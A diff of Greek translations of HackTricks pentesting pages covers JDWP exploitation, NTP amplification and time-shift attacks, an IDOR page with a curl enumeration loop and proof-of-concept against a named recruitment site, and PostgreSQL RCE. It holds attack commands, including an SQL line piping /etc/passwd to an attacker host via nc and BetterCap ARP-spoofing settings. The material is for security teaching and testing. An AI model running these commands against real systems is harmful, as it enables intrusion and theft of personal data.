- Χρησιμοποιείται μια απλή διαδικασία χειραψίας για την έναρξη της επικοινωνίας. Ανταλλάσσεται μια ASCII συμβολοσειρά 14 χαρακτήρων “JDWP-Handshake” μεταξύ του Debugger (πελάτη) και του Debuggee (διακομιστή).
|
||||
|
||||
3. **Επικοινωνία JDWP**:
|
||||
|
||||
@ -37,15 +38,15 @@
|
||||
4. **Εκμετάλλευση**:
|
||||
|
||||
- Το JDWP επιτρέπει τη φόρτωση και την εκτέλεση αυθαίρετων κλάσεων και bytecode, θέτοντας σε κίνδυνο την ασφάλεια.
|
||||
- Το άρθρο περιγράφει μια διαδικασία εκμετάλλευσης σε πέντε βήματα, που περιλαμβάνει την ανάκτηση αναφορών Java Runtime, την ρύθμιση σημείων διακοπής και την εκτέλεση μεθόδων.
|
||||
- Το άρθρο περιγράφει μια διαδικασία εκμετάλλευσης σε πέντε βήματα, που περιλαμβάνει την ανάκτηση αναφορών Java Runtime, την τοποθέτηση σημείων διακοπής και την εκτέλεση μεθόδων.
|
||||
|
||||
5. **Εκμετάλλευση στην Πραγματική Ζωή**:
|
||||
|
||||
- Παρά τις πιθανές προστασίες τείχους προστασίας, οι υπηρεσίες JDWP είναι ανακαλύψιμες και εκμεταλλεύσιμες σε πραγματικά σενάρια, όπως αποδεικνύεται από αναζητήσεις σε πλατφόρμες όπως το ShodanHQ και το GitHub.
|
||||
- Παρά τις πιθανές προστασίες τείχους πυρός, οι υπηρεσίες JDWP είναι ανακαλύψιμες και εκμεταλλεύσιμες σε πραγματικά σενάρια, όπως αποδεικνύεται από αναζητήσεις σε πλατφόρμες όπως το ShodanHQ και το GitHub.
|
||||
- Το σενάριο εκμετάλλευσης δοκιμάστηκε σε διάφορες εκδόσεις JDK και είναι ανεξάρτητο από την πλατφόρμα, προσφέροντας αξιόπιστη Εκτέλεση Κώδικα από Απόσταση (RCE).
|
||||
|
||||
6. **Σημασία Ασφάλειας**:
|
||||
- Η παρουσία ανοιχτών υπηρεσιών JDWP στο διαδίκτυο υπογραμμίζει την ανάγκη για τακτικές ανασκοπήσεις ασφάλειας, απενεργοποίηση λειτουργιών αποσφαλμάτωσης στην παραγωγή και σωστές ρυθμίσεις τείχους προστασίας.
|
||||
- Η παρουσία ανοιχτών υπηρεσιών JDWP στο διαδίκτυο υπογραμμίζει την ανάγκη για τακτικές ανασκοπήσεις ασφάλειας, απενεργοποίηση λειτουργιών αποσφαλμάτωσης στην παραγωγή και σωστές ρυθμίσεις τείχους πυρός.
|
||||
|
||||
### **Αναφορές:**
|
||||
|
||||
@ -56,7 +57,7 @@
|
||||
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||||
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
||||
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||||
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
||||
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
|
||||
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
|
||||
@ -80,33 +80,33 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
|
||||
|
||||
| Έτος | CVE | Συστατικό | Επιπτώσεις |
|
||||
|------|-----|-----------|--------|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Πολλαπλές εγγραφές εκτός ορίων προσβάσιμες μέσω απαντήσεων **ntpq**. Διορθωτικό σε **4.2.8p16** 🡒 αναβάθμιση ή επιστροφή διορθώσεων. citeturn1search1turn1search2turn1search0|
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (υλοποίηση Rust) | Κακώς διαμορφωμένο cookie **NTS** προκαλεί απομακρυσμένο **DoS** πριν από την v0.3.3 – επηρεάζει την θύρα 123 ακόμη και όταν το NTS είναι **απενεργοποιημένο**. citeturn4view0|
|
||||
| 2024 | ενημερώσεις διανομής | **chrony 4.4 / 4.5** – αρκετές διορθώσεις ασφάλειας & NTS-KE (π.χ. SUSE-RU-2024:2022) citeturn2search2|
|
||||
| 2024 | Καταγραφή DDoS | Η Cloudflare αναφέρει μια **5.6 Tbps UDP reflection** επίθεση (NTP μεταξύ των πρωτοκόλλων που χρησιμοποιούνται). Κρατήστε το *monitor* & *monlist* απενεργοποιημένα σε διακομιστές που είναι εκτεθειμένοι στο Διαδίκτυο. citeturn5search0|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Πολλαπλές εγγραφές εκτός ορίων προσβάσιμες μέσω απαντήσεων **ntpq**. Διορθώστε στην **4.2.8p16** 🡒 αναβάθμιση ή επιστροφή διορθώσεων. |
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (υλοποίηση Rust) | Κακώς διαμορφωμένο cookie **NTS** προκαλεί απομακρυσμένο **DoS** πριν από την v0.3.3 – επηρεάζει την θύρα 123 ακόμη και όταν το NTS είναι **απενεργοποιημένο**. |
|
||||
| 2024 | ενημερώσεις διανομής | **chrony 4.4 / 4.5** – αρκετές διορθώσεις ασφάλειας & NTS-KE (π.χ. SUSE-RU-2024:2022) |
|
||||
| 2024 | Εγγραφή DDoS | Η Cloudflare αναφέρει μια **5.6 Tbps UDP reflection** επίθεση (NTP μεταξύ των πρωτοκόλλων που χρησιμοποιούνται). Κρατήστε το *monitor* & *monlist* απενεργοποιημένα σε διακομιστές που είναι εκτεθειμένοι στο Διαδίκτυο. |
|
||||
|
||||
> **Εκμεταλλεύσεις**: Proof-of-concept payloads για τη σειρά OOB-write του ntpq το 2023 είναι διαθέσιμα στο GitHub (βλ. αναφορά Meinberg) και μπορούν να χρησιμοποιηθούν για phishing από την πλευρά του πελάτη σε διαχειριστές συστημάτων. citeturn1search4
|
||||
> **Εκμεταλλεύσεις**: Αποδεικτικά φορτία για τη σειρά OOB-write του ntpq 2023 είναι διαθέσιμα στο GitHub (βλ. αναφορά Meinberg) και μπορούν να χρησιμοποιηθούν για phishing από την πλευρά του πελάτη σε διαχειριστές συστημάτων.
|
||||
|
||||
---
|
||||
## Προχωρημένες Επιθέσεις
|
||||
|
||||
### 1. Ενίσχυση / Αντανάκλαση NTP
|
||||
### 1. Ενίσχυση NTP / Αντανάκλαση
|
||||
|
||||
Το legacy Mode-7 ``monlist`` query επιστρέφει έως **600 διευθύνσεις host** και είναι ακόμα παρόν σε χιλιάδες διακομιστές στο Διαδίκτυο. Επειδή η απάντηση (428-468 bytes/καταχώρηση) είναι *~ 200×* μεγαλύτερη από το αίτημα 8 bytes, ένας επιτιθέμενος μπορεί να φτάσει σε παράγοντες ενίσχυσης τριών ψηφίων. Μετριασμοί:
|
||||
Το legacy Mode-7 ``monlist`` query επιστρέφει έως **600 διευθύνσεις host** και είναι ακόμα παρόν σε χιλιάδες διακομιστές στο Διαδίκτυο. Επειδή η απάντηση (428-468 bytes/καταχώρηση) είναι *~ 200×* μεγαλύτερη από το αίτημα 8 bytes, ένας επιτιθέμενος μπορεί να φτάσει σε παράγοντες ενίσχυσης τριών ψηφίων. Μετριαστικά μέτρα:
|
||||
|
||||
- Αναβάθμιση σε ntp 4.2.8p15+ και **προσθήκη** ``disable monitor``.
|
||||
- Περιορισμός ρυθμού UDP/123 στην άκρη ή ενεργοποίηση *sessions-required* σε συσκευές DDoS.
|
||||
- Ενεργοποίηση *BCP 38* φιλτραρίσματος εξόδου για να αποκλειστεί η παραποίηση πηγής.
|
||||
- Αναβαθμίστε σε ntp 4.2.8p15+ και **προσθέστε** ``disable monitor``.
|
||||
- Περιορίστε την ταχύτητα UDP/123 στην άκρη ή ενεργοποιήστε *sessions-required* σε συσκευές DDoS.
|
||||
- Ενεργοποιήστε το *BCP 38* φιλτράρισμα εξόδου για να αποκλείσετε την παραποίηση πηγής.
|
||||
|
||||
Δείτε το άρθρο του κέντρου μάθησης της Cloudflare για μια αναλυτική περιγραφή. citeturn5search1
|
||||
Δείτε το άρθρο του κέντρου μάθησης της Cloudflare για μια αναλυτική περιγραφή βημάτων.
|
||||
|
||||
### 2. Επιθέσεις Χρονικής Μετατόπισης / Καθυστέρησης (έρευνα Khronos / Chronos)
|
||||
|
||||
Ακόμα και με αυθεντικοποίηση, ένας επιτιθέμενος σε διαδρομή μπορεί σιωπηλά να **μετατοπίσει το ρολόι του πελάτη** ρίχνοντας/καθυστερώντας πακέτα. Το σχέδιο **Khronos (πρώην Chronos)** της IETF προτείνει την ερώτηση μιας ποικιλίας διακομιστών στο παρασκήνιο και την επαλήθευση του αποτελέσματος για να ανιχνευθεί μια μετατόπιση > 𝚡 ms. Ο σύγχρονος chrony (4.4+) ήδη εφαρμόζει ένα παρόμοιο φίλτρο επαλήθευσης (``maxdistance`` / ``maxjitter``). citeturn9search1
|
||||
Ακόμα και με αυθεντικοποίηση, ένας επιτιθέμενος εντός της διαδρομής μπορεί σιωπηλά να **μετατοπίσει το ρολόι του πελάτη** ρίχνοντας/καθυστερώντας πακέτα. Το σχέδιο **Khronos (πρώην Chronos)** της IETF προτείνει την ερώτηση ενός ποικίλου συνόλου διακομιστών στο παρασκήνιο και την επαλήθευση του αποτελέσματος για να ανιχνεύσει μια μετατόπιση > 𝚡 ms. Ο σύγχρονος chrony (4.4+) ήδη εφαρμόζει ένα παρόμοιο φίλτρο εγκυρότητας (``maxdistance`` / ``maxjitter``).
|
||||
|
||||
### 3. Κατάχρηση NTS & έκθεση 4460/tcp
|
||||
|
||||
Το NTS μεταφέρει την βαριά κρυπτογράφηση σε ένα ξεχωριστό **TLS 1.3 κανάλι στο 4460/tcp** (``ntske/1``). Κακές υλοποιήσεις (βλ. CVE-2023-33192) καταρρέουν κατά την ανάλυση cookies ή επιτρέπουν αδύναμους κρυπτογραφικούς αλγόριθμους. Οι pentesters θα πρέπει:
|
||||
Το NTS μεταφέρει την βαριά κρυπτογράφηση σε ένα ξεχωριστό **TLS 1.3 κανάλι στην 4460/tcp** (``ntske/1``). Κακές υλοποιήσεις (βλ. CVE-2023-33192) καταρρέουν κατά την ανάλυση cookies ή επιτρέπουν αδύναμους κρυπτογραφικούς αλγόριθμους. Οι pentesters θα πρέπει:
|
||||
```bash
|
||||
# TLS reconnaissance
|
||||
nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
@ -114,20 +114,20 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
# Grab banner & ALPN
|
||||
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
||||
```
|
||||
Αναζητήστε αυτο-υπογεγραμμένα ή ληγμένα πιστοποιητικά και αδύναμες κρυπτογραφικές σουίτες (μη-AEAD). Αναφορά: RFC 8915 §4. citeturn11search0
|
||||
Αναζητήστε αυτο-υπογεγραμμένα ή ληγμένα πιστοποιητικά και αδύναμες κρυπτογραφικές σουίτες (μη-AEAD). Αναφορά: RFC 8915 §4.
|
||||
|
||||
---
|
||||
## Σκληροποίηση / Καλύτερη-Τρέχουσα-Πρακτική (BCP-233 / RFC 8633)
|
||||
|
||||
*Οι Διαχειριστές ΠΡΕΠΕΙ:*
|
||||
*Οι χειριστές ΠΡΕΠΕΙ:*
|
||||
|
||||
1. Να χρησιμοποιούν **≥ 4** ανεξάρτητες, ποικιλόμορφες πηγές χρόνου (δημόσιες πισίνες, GPS, PTP-γέφυρες) για να αποφευχθεί η δηλητηρίαση από μία μόνο πηγή.
|
||||
1. Να χρησιμοποιούν **≥ 4** ανεξάρτητες, ποικιλόμορφες πηγές χρόνου (δημόσιες πισίνες, GPS, γέφυρες PTP) για να αποφευχθεί η δηλητηρίαση από μία μόνο πηγή.
|
||||
2. Να ενεργοποιούν τους περιορισμούς ``kod`` και ``limited``/``nomodify`` ώστε οι κακόβουλοι πελάτες να λαμβάνουν πακέτα περιορισμού **Kiss-o'-Death** αντί για πλήρεις απαντήσεις.
|
||||
3. Να παρακολουθούν τα αρχεία καταγραφής του δαίμονα για γεγονότα **panic** ή ρυθμίσεις βημάτων > 1000 s. (Υπογραφές επίθεσης σύμφωνα με το RFC 8633 §5.3.)
|
||||
4. Να εξετάσουν το **leap-smear** για να αποφευχθούν οι διακοπές δευτερολέπτων, αλλά να διασφαλίσουν ότι *όλοι* οι downstream πελάτες χρησιμοποιούν το ίδιο παράθυρο smear.
|
||||
5. Να διατηρούν την αναζήτηση ≤24 h ώστε να μην χάνονται οι σημαίες δευτερολέπτων.
|
||||
5. Να διατηρούν την αναζήτηση ≤24 h ώστε να μην χάνονται οι σημαίες δευτερολέπτου.
|
||||
|
||||
Δείτε το RFC 8633 για μια ολοκληρωμένη λίστα ελέγχου. citeturn8search0turn8search1
|
||||
Δείτε το RFC 8633 για μια ολοκληρωμένη λίστα ελέγχου.
|
||||
|
||||
---
|
||||
## Shodan / Censys Dorks
|
||||
@ -141,10 +141,10 @@ port:4460 "ntske" # NTS-KE
|
||||
|
||||
| Εργαλείο | Σκοπός | Παράδειγμα |
|
||||
|------|---------|---------|
|
||||
| ``ntpwn`` | Wrapper για script-kiddie για να ψεκάσει ερωτήσεις monlist & peers | ``python ntpwn.py --monlist targets.txt`` |
|
||||
| **zgrab2 ntp** | Μαζική σάρωση / Έξοδος JSON που περιλαμβάνει σημαία monlist | Δείτε την παραπάνω εντολή |
|
||||
| ``chronyd`` με ``allow`` | Εκτέλεση κακόβουλου NTP server σε εργαστήριο pentest | ``chronyd -q 'server 127.127.1.0 iburst'`` |
|
||||
| ``BetterCap`` | Εισαγωγή πακέτων NTP για MITM με μετατόπιση χρόνου σε Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
|
||||
| ``ntpwn`` | Script-kiddie wrapper για να ψεκάσει monlist & peers queries | ``python ntpwn.py --monlist targets.txt`` |
|
||||
| **zgrab2 ntp** | Μαζική σάρωση / JSON έξοδος συμπεριλαμβανομένης της σημαίας monlist | Δείτε την παραπάνω εντολή |
|
||||
| ``chronyd`` με ``allow`` | Εκτέλεση κακόβουλου NTP server σε pentest εργαστήριο | ``chronyd -q 'server 127.127.1.0 iburst'`` |
|
||||
| ``BetterCap`` | Εισαγωγή NTP πακέτων για MITM με μετατόπιση χρόνου σε Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
|
||||
|
||||
---
|
||||
## HackTricks Αυτόματες Εντολές
|
||||
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
||||
---
|
||||
## Αναφορές
|
||||
|
||||
- RFC 8915 – *Network Time Security for the Network Time Protocol* (port 4460) citeturn11search0
|
||||
- RFC 8633 – *Network Time Protocol BCP* citeturn8search0
|
||||
- Cloudflare DDoS report 2024 Q4 (5.6 Tbps) citeturn5search0
|
||||
- Cloudflare *NTP Amplification Attack* article citeturn5search1
|
||||
- NTP 4.2.8p15 CVE series 2023-04 citeturn1search4
|
||||
- NVD entries **CVE-2023-26551–55**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
|
||||
- SUSE chrony security update 2024 (chrony 4.5) citeturn2search2
|
||||
- Khronos/Chronos draft (time-shift mitigation) citeturn9search1
|
||||
- chronyc manual/examples for remote monitoring citeturn3search0turn10search1
|
||||
- zgrab2 ntp module docs citeturn7search0
|
||||
- RFC 8915 – *Ασφάλεια Χρόνου Δικτύου για το Πρωτόκολλο Χρόνου Δικτύου* (θύρα 4460)
|
||||
- RFC 8633 – *Πρωτόκολλο Χρόνου Δικτύου BCP*
|
||||
- Αναφορά DDoS Cloudflare 2024 Q4 (5.6 Tbps)
|
||||
- Άρθρο Cloudflare *Επίθεση Ενίσχυσης NTP*
|
||||
- NTP 4.2.8p15 CVE σειρά 2023-04
|
||||
- Εγγραφές NVD **CVE-2023-26551–55**, **CVE-2023-33192**
|
||||
- Ενημέρωση ασφαλείας SUSE chrony 2024 (chrony 4.5)
|
||||
- Σχέδιο Khronos/Chronos (μείωση μετατόπισης χρόνου)
|
||||
- chronyc εγχειρίδιο/παραδείγματα για απομακρυσμένη παρακολούθηση
|
||||
- zgrab2 ntp module docs
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,5 +1,86 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**Ελέγξτε την ανάρτηση: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
# IDOR (Insecure Direct Object Reference)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν αναγνωρίσιμο δείκτη που ελέγχεται από τον χρήστη και χρησιμοποιείται **άμεσα** για να αποκτήσει πρόσβαση σε ένα εσωτερικό αντικείμενο **χωρίς να επαληθεύει ότι ο καλών είναι εξουσιοδοτημένος** να έχει πρόσβαση/να τροποποιήσει αυτό το αντικείμενο.
|
||||
Η επιτυχής εκμετάλλευση συνήθως επιτρέπει οριζόντια ή κάθετη κλιμάκωση προνομίων, όπως η ανάγνωση ή η τροποποίηση δεδομένων άλλων χρηστών και, στην χειρότερη περίπτωση, πλήρη κατάληψη λογαριασμού ή μαζική εξαγωγή δεδομένων.
|
||||
|
||||
---
|
||||
## 1. Αναγνώριση Πιθανών IDORs
|
||||
|
||||
1. Αναζητήστε **παραμέτρους που αναφέρονται σε ένα αντικείμενο**:
|
||||
* Διαδρομή: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Ερώτημα: `?id=42`, `?invoice=2024-00001`
|
||||
* Σώμα / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Επικεφαλίδες / Cookies: `X-Client-ID: 4711`
|
||||
2. Προτιμήστε endpoints που **διαβάζουν ή ενημερώνουν** δεδομένα (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Σημειώστε πότε οι αναγνωρίσιμοι δείκτες είναι **διαδοχικοί ή προβλέψιμοι** – αν το ID σας είναι `64185742`, τότε το `64185741` πιθανώς υπάρχει.
|
||||
4. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. *"Paradox team members"* σύνδεσμος στις σελίδες σύνδεσης) που μπορεί να αποκαλύψουν επιπλέον APIs.
|
||||
5. Χρησιμοποιήστε μια **εξουσιοδοτημένη συνεδρία χαμηλών προνομίων** και αλλάξτε μόνο το ID **διατηρώντας το ίδιο token/cookie**. Η απουσία σφάλματος εξουσιοδότησης είναι συνήθως ένδειξη IDOR.
|
||||
|
||||
### Γρήγορη χειροκίνητη παραποίηση (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||||
Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Αυτοματοποιημένη αρίθμηση (Burp Intruder / curl loop)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: auth=$TOKEN" \
|
||||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||||
done
|
||||
```
|
||||
---
|
||||
## 2. Μελέτη Περίπτωσης από τον Πραγματικό Κόσμο – Πλατφόρμα Chatbot McHire (2025)
|
||||
|
||||
Κατά τη διάρκεια μιας αξιολόγησης της πλατφόρμας πρόσληψης **McHire** που υποστηρίζεται από το Paradox.ai, ανακαλύφθηκε το εξής IDOR:
|
||||
|
||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||
* Authorization: cookie συνεδρίας χρήστη για **οποιονδήποτε** λογαριασμό δοκιμής εστιατορίου
|
||||
* Body parameter: `{"lead_id": N}` – 8-ψήφιος, **διαδοχικός** αριθμητικός αναγνωριστικός
|
||||
|
||||
Μειώνοντας το `lead_id`, ο δοκιμαστής ανέκτησε τυχαία τα **πλήρη PII** των υποψηφίων (όνομα, email, τηλέφωνο, διεύθυνση, προτιμήσεις βάρδιας) καθώς και ένα **JWT** καταναλωτή που επέτρεπε την υποκλοπή συνεδρίας. Η αρίθμηση της κλίμακας `1 – 64,185,742` αποκάλυψε περίπου **64 εκατομμύρια** αρχεία.
|
||||
|
||||
Αίτημα Απόδειξης της Έννοιας:
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Συνδυασμένο με **προεπιλεγμένα διαπιστευτήρια διαχειριστή** (`123456:123456`) που παραχώρησαν πρόσβαση στον λογαριασμό δοκιμής, η ευπάθεια οδήγησε σε μια κρίσιμη, εταιρική διαρροή δεδομένων.
|
||||
|
||||
---
|
||||
## 3. Επιπτώσεις του IDOR / BOLA
|
||||
* Οριζόντια κλιμάκωση – ανάγνωση/ενημέρωση/διαγραφή **δεδομένων άλλων χρηστών**.
|
||||
* Κατακόρυφη κλιμάκωση – χρήστης με χαμηλά προνόμια αποκτά λειτουργικότητα μόνο για διαχειριστές.
|
||||
* Μαζική διαρροή δεδομένων αν οι ταυτοποιήσεις είναι διαδοχικές (π.χ., ταυτοποιήσεις αιτούντων, τιμολόγια).
|
||||
* Κατάληψη λογαριασμού κλέβοντας tokens ή επαναφέροντας κωδικούς πρόσβασης άλλων χρηστών.
|
||||
|
||||
---
|
||||
## 4. Μετριασμοί & Καλές Πρακτικές
|
||||
1. **Επιβολή εξουσιοδότησης σε επίπεδο αντικειμένου** σε κάθε αίτημα (`user_id == session.user`).
|
||||
2. Προτιμήστε **έμμεσες, μη μαντεύσιμες ταυτοποιήσεις** (UUIDv4, ULID) αντί για αυτόματους αυξανόμενους αριθμούς.
|
||||
3. Εκτελέστε την εξουσιοδότηση **στην πλευρά του διακομιστή**, ποτέ μην βασίζεστε σε κρυφά πεδία φόρμας ή ελέγχους UI.
|
||||
4. Εφαρμόστε ελέγχους **RBAC / ABAC** σε ένα κεντρικό middleware.
|
||||
5. Προσθέστε **περιορισμούς ρυθμού & καταγραφή** για να ανιχνεύσετε την αρίθμηση των ταυτοποιήσεων.
|
||||
6. Δοκιμάστε την ασφάλεια κάθε νέας διεπαφής (μονάδα, ολοκλήρωση και DAST).
|
||||
|
||||
---
|
||||
## 5. Εργαλεία
|
||||
* **Επεκτάσεις BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Projects στο Github**: `bwapp-idor-scanner`, `Blindy` (μαζική αναζήτηση IDOR).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Αναφορές
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,20 +1,20 @@
|
||||
# RCE με PostgreSQL Extensions
|
||||
# RCE με επεκτάσεις PostgreSQL
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## PostgreSQL Extensions
|
||||
## Επεκτάσεις PostgreSQL
|
||||
|
||||
Το PostgreSQL έχει αναπτυχθεί με την επεκτασιμότητα ως βασικό χαρακτηριστικό, επιτρέποντας την απρόσκοπτη ενσωμάτωσή του επεκτάσεων σαν να ήταν ενσωματωμένες λειτουργίες. Αυτές οι επεκτάσεις, ουσιαστικά βιβλιοθήκες γραμμένες σε C, εμπλουτίζουν τη βάση δεδομένων με επιπλέον συναρτήσεις, τελεστές ή τύπους.
|
||||
Η PostgreSQL έχει αναπτυχθεί με την επεκτασιμότητα ως βασικό χαρακτηριστικό, επιτρέποντάς της να ενσωματώνει ομαλά επεκτάσεις σαν να ήταν ενσωματωμένες λειτουργίες. Αυτές οι επεκτάσεις, ουσιαστικά βιβλιοθήκες γραμμένες σε C, εμπλουτίζουν τη βάση δεδομένων με επιπλέον συναρτήσεις, τελεστές ή τύπους.
|
||||
|
||||
Από την έκδοση 8.1 και μετά, επιβάλλεται μια συγκεκριμένη απαίτηση στις βιβλιοθήκες επεκτάσεων: πρέπει να είναι συμπιεσμένες με μια ειδική κεφαλίδα. Χωρίς αυτό, το PostgreSQL δεν θα τις εκτελέσει, διασφαλίζοντας ότι χρησιμοποιούνται μόνο συμβατές και δυνητικά ασφαλείς επεκτάσεις.
|
||||
Από την έκδοση 8.1 και μετά, επιβάλλεται μια συγκεκριμένη απαίτηση στις βιβλιοθήκες επεκτάσεων: πρέπει να είναι συμπιεσμένες με μια ειδική κεφαλίδα. Χωρίς αυτό, η PostgreSQL δεν θα τις εκτελέσει, διασφαλίζοντας ότι χρησιμοποιούνται μόνο συμβατές και δυνητικά ασφαλείς επεκτάσεις.
|
||||
|
||||
Επίσης, να έχετε υπόψη ότι **αν δεν ξέρετε πώς να** [**ανεβάσετε αρχεία στον θύμα εκμεταλλευόμενοι το PostgreSQL θα πρέπει να διαβάσετε αυτή την ανάρτηση.**](big-binary-files-upload-postgresql.md)
|
||||
Επίσης, να έχετε υπόψη ότι **αν δεν ξέρετε πώς να** [**ανεβάσετε αρχεία στον θύμα εκμεταλλευόμενοι την PostgreSQL, θα πρέπει να διαβάσετε αυτή την ανάρτηση.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE σε Linux
|
||||
|
||||
**Για περισσότερες πληροφορίες ελέγξτε: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
**Για περισσότερες πληροφορίες δείτε: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
Η εκτέλεση συστημικών εντολών από το PostgreSQL 8.1 και παλαιότερες εκδόσεις είναι μια διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατόν να χρησιμοποιήσετε αυτό: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
Η εκτέλεση εντολών συστήματος από την PostgreSQL 8.1 και παλαιότερες εκδόσεις είναι μια διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατή η χρήση αυτού: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Αυτό το σφάλμα εξηγείται στην [τεκμηρίωση του PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||
|
||||
> Για να διασφαλιστεί ότι ένα δυναμικά φορτωμένο αρχείο αντικειμένου δεν φορτώνεται σε έναν ασύμβατο διακομιστή, το PostgreSQL ελέγχει ότι το αρχείο περιέχει ένα “μαγικό μπλοκ” με τα κατάλληλα περιεχόμενα. Αυτό επιτρέπει στον διακομιστή να ανιχνεύει προφανείς ασυμβατότητες, όπως κώδικα που έχει μεταγλωττιστεί για μια διαφορετική κύρια έκδοση του PostgreSQL. Ένα μαγικό μπλοκ απαιτείται από την έκδοση 8.2 του PostgreSQL. Για να συμπεριλάβετε ένα μαγικό μπλοκ, γράψτε αυτό σε ένα (και μόνο ένα) από τα αρχεία πηγής του module, αφού έχετε συμπεριλάβει την κεφαλίδα fmgr.h:
|
||||
> Για να διασφαλιστεί ότι ένα δυναμικά φορτωμένο αρχείο αντικειμένου δεν φορτώνεται σε έναν ασύμβατο διακομιστή, το PostgreSQL ελέγχει ότι το αρχείο περιέχει ένα “μαγικό μπλοκ” με τα κατάλληλα περιεχόμενα. Αυτό επιτρέπει στον διακομιστή να ανιχνεύει προφανείς ασυμβατότητες, όπως κώδικα που έχει μεταγλωττιστεί για διαφορετική κύρια έκδοση του PostgreSQL. Ένα μαγικό μπλοκ απαιτείται από την έκδοση 8.2 του PostgreSQL. Για να συμπεριλάβετε ένα μαγικό μπλοκ, γράψτε αυτό σε ένα (και μόνο ένα) από τα αρχεία πηγής του module, αφού έχετε συμπεριλάβει την κεφαλίδα fmgr.h:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
